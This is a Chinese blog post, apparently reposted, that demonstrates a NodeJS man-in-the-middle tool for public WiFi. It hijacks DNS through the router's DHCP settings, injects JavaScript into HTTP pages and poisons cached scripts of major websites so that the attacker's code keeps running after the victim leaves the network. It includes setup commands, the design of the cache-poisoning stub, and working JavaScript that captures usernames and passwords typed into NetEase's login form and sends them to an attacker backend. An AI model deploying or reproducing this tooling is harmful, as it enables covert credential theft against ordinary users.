WiFi流量劫持—— JS腳本緩存投毒


  在上一篇《WiFi流量劫持—— 瀏覽任意頁面即可中毒》構思了一個時光機原型,讓我們的腳本通過HTTP緩存機制,在未來的某個時刻被執行,因此我們可以實現超大范圍的入侵了。

  基於此原理,我們用NodeJS來實現一個簡單的樣例。得益於node強大的IO管理,以及各種封裝好的網絡模塊,我們可以很容易實現這個想法:

  

  • 開啟一個特殊的DNS服務:所有域名都解析到我們的電腦上。並把Wifi的DHCP-DNS設置為我們的電腦IP。
  • 之后連上Wifi的用戶打開任何網站,請求都將被我們的node服務收到。我們根據http頭中的host字段來轉發到真正服務器上。
  • 收到服務器返回的數據之后,我們就可以實現網頁腳本的注入,並返回給用戶了!
  • 當注入的腳本被執行,用戶的瀏覽器將依次預加載各大網站的常用腳本庫。我們將其感染,並設置超長的緩存時間。

  於是大功告成!

  

 

 

  為了方便測試和控制,已把整個流程:DNS、HTTP代理、代碼分析和注入都使用NodeJS編寫,並整合在一起。下面就來測試一下!

  獲取Demo: (https://github.com/EtherDream/closurether

# npm install -g closurether

  運行:

# closurether

  啟動成功的話,會輸出:

[SYS] local ip: 192.168.1.250
[DNS] running 0.0.0.0:53
[WEB] listening 0.0.0.0:80
[WEB] listening 0.0.0.0:443

  當然,192.168.1.250這是我本地的IP,推薦使用固定的IP地址。

  打開無線路由器-DHCP配置,將主DNS設置為自己的IP,重啟路由。到此,你已經控制了整個無線網絡的流量了!

  用另一台電腦連上你的wifi:

  

  

  這時會發現,ping任何域名,不出意外的話都會返回你的IP,DNS劫持已發揮作用了!

$ ping www.baidu.com
PING www.baidu.com (192.168.1.250): 56 data bytes
Request timeout for icmp_seq 0

$ ping www.google.com
PING www.google.com (192.168.1.250): 56 data bytes
Request timeout for icmp_seq 0

  

  打開任意網頁,一切正常。我們可以在node控制台看到用戶訪問的每一個請求。

  

  

  當然這時網頁上什么效果也沒出現。這個Demo畢竟是個間諜程序,怎么可能會有界面呢?

  想看效果的話修改項目里的asset/inject/extern.js,往里面加一條:

alert('Hello World');

 

  這時再刷新頁面,效果出現了!

  

  打開任意網頁的源文件,發現其中都注入了我們的腳本內容。為了隱蔽性,這里將注入的腳本偽裝成運營商的url,別人還以為是聯通寬帶插的廣告 ^_^

  具體想偽裝成什么地址,可以在config.json里配置。

  

  腳本內容正是asset/inject/extern.js文件:

  

  到此,我們已實現把javascript代碼注入到WiFi網絡的HTTP流量里了!

  下面測試我們的終極目標:能穿越到未來執行的腳本時光機。

  

  前面仔細觀察的話,不難發現注入的腳本內容里多出一大堆url,這些正是我們需要讓用戶預加載並緩存的各大網站腳本。具體原理在上一篇里已經詳細講解了。

  如果想入侵更多的網站,往tool/cache-sniffer/url.txt里添加。運行:

$ phantomjs sniffer.js

  程序將自動更新注入腳本的內容。

  要想預加載並緩存一個腳本很容易,只需new Image().src='...'。當然有少數瀏覽器不支持,不過ie和chrome都是支持的。盡管js文件並不是一個圖片,但仍然會緩存。

  上一篇文章已說明,為了減少一次請求大量腳本文件消耗的帶寬,我們並不返回真正的原始腳本文件,而是一個很小的“樁文件”,用來啟動我們的入侵代碼,以及恢復原始腳本文件。

  因此這個“樁文件”代碼量非常少,區區百來字節而已。例如hao123網站下的某個已被感染了的腳本:

  

  我們創建兩個script元素,來加載外網的入侵代碼,以及恢復原始腳本代碼,使網頁能正常運行。注意:原始腳本url后面的?1必不可少,否則又會從緩存里加載被感染的當前腳本,進入死循環。

  使用document.write的好處在於,它創建的腳本是異步加載順序執行的。所以在原始腳本未加載完之前,后面的腳本不會執行,避免了未定義錯誤的發生。

  入侵代碼的url可以在config.json里hacker_url字段配置。為了保證未來被感染的腳本被喚醒時,能正常調出你的入侵代碼,所以選擇一個可靠的外網來存放。

  本Demo演示如何入侵並截獲網易首頁的賬號,可以參考代碼:http://jslog.sinaapp.com/ad.js

  演示中的代碼很簡單,僅僅捕捉用戶在網易首頁上輸入的賬號和密碼而已,然后傳給后台保存到數據庫里。

    var url = location.href;
    if (/\.163\.com/i.test(url)) {
        function onSubmit() {
            post(
                NTES.one('#js_loginframe_username').value,
                NTES.one('input[type=password]').value
            );
        }

        NTES.one('.ntes-loginframe-btn').addEventListener('click', onSubmit);

        NTES.one('input[type=password]').addEventListener('keydown', function(e) {
            if (e.keyCode == 13) {
                onSubmit();
            }
        });
    }

 

  下面重啟電腦,並連上家里的WiFi。(連過KFC的用戶回家之后的情況)

      

  這時用戶的流量已完全不在我們的可控之中,看我們的腳本是否仍能從沉睡之中喚醒呢?

    

  打開www.163.com,一切正常~

  

  輸入用戶名密碼,一切正常~

  

  似乎並沒有感覺到任何的異常。回到我們自己的電腦上來看看,后台的籠子里是否有獵物捕捉到。。。

      

  很好,我們的入侵代碼已成功執行,在用戶離開了我們的網絡之后依舊能夠運行!只要登錄了我們事先感染過的那些網站,入侵代碼都將會被喚醒。

  事實上,只要用戶不清空緩存,這段代碼終將附着在硬盤緩存里,直到過期。有可能是1個星期,甚至數月的時間。

  所謂一時失足成千古恨莫過於此。一時大意連接了一個wifi熱點,不經意間間諜已潛入你的瀏覽器緩存里。。。

  

  ==============================

  使用NodeJS,我們只需數百行代碼就實現了這個想法。當然,簡單的同時缺點也是不言而喻的。node只提供了傳輸層的網絡接口,我們無法操作底層網絡數據。所以只能使用DNS劫持的方法來獲得用戶的流量。因此也就產生了一個非常糾結的問題:

  怎樣才能確定用戶查詢的域名是HTTP主機呢?

  由於我們把所有的域名都解析到了自己的電腦上,因此包括其他的網絡程序數據也轉發到了我們這里。然而我們的node只監聽了tcp:80端口,對於其他的端口則是完全忽略的。

  即使我們監聽了其他端口,我們也無法把收到的數據轉發到真實的服務器 —— 我們根本不知道發到哪個地址上!

  HTTP之所以能實現轉發,得益於頭部有個host字段;而非HTTP協議,甚至包括HTTPS,我們只能收到一堆二進制數據,然后就不知道的該交給誰了。

  

  此問題雖然無法避免,但也有一定程度的解決方案:

  1.) 事先收集各大網站的域名。之后用戶查詢的域名在列表里的話,直接返回自己的電腦IP;否則轉發給外網DNS。

    當記錄足夠多的話,我們可以攔截住用戶大多數的網站流量。

  但要收集大量的網站域名並不容易,而且仍會有不少的遺漏。因此我們使用更簡單的方法:

  

  2.) 仍然將所有的域名解析到自己電腦上,但域名TTL時間很短,幾秒后就過期。

    如果在之后的幾秒時間里,收到訪問這個域名的http請求(host字段是這個域名),那么就認為這個域名是http服務的;

    如果規定時間里沒有收到,那么就當做非http服務的域名。當域名ttl過期后,下次再查詢這個域名時,就解析到外網真實的服務器IP了。反正不是http協議,收到了也沒用。

  3.) 嘗試訪問前來請求域名的80端口。如果能連接上,就當做是一個Web域名。就返回自己的IP。

 

  目前使用方法3來識別域名。事實上基於DNS的流量劫持還有更大缺陷:

  • 如果用戶手工設置的DNS怎么辦?比如8.8.8.8的用戶就非常多。
  • 不是80端口的網站又如何是好?難道我們要把1~65535的端口都監聽嗎?
  • 一個網站域名下同時有http和其他服務了,攔截就導致那個服務不可用了。
  • 最麻煩的當屬純IP的網站,那么就完全無法攔截了~

  糾結之處就不再吐槽,不然就永遠實現不了我們的想法了,以后再使用node擴展慢慢完善。

  即便面臨着不少問題,我們的Demo仍能順利跑起來 —— 完全按照我們的預想運行!

  

  

  ==============================

 

 后記

     補充一個更簡明的演示:https://github.com/EtherDream/mitm-http-cache-poisoning

     之前的 Demo 臨時寫的,比較混亂,一直沒有更新。而且局域網里也用不着 DNS 的方式,用 DHCP 劫持的方式效果更好。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM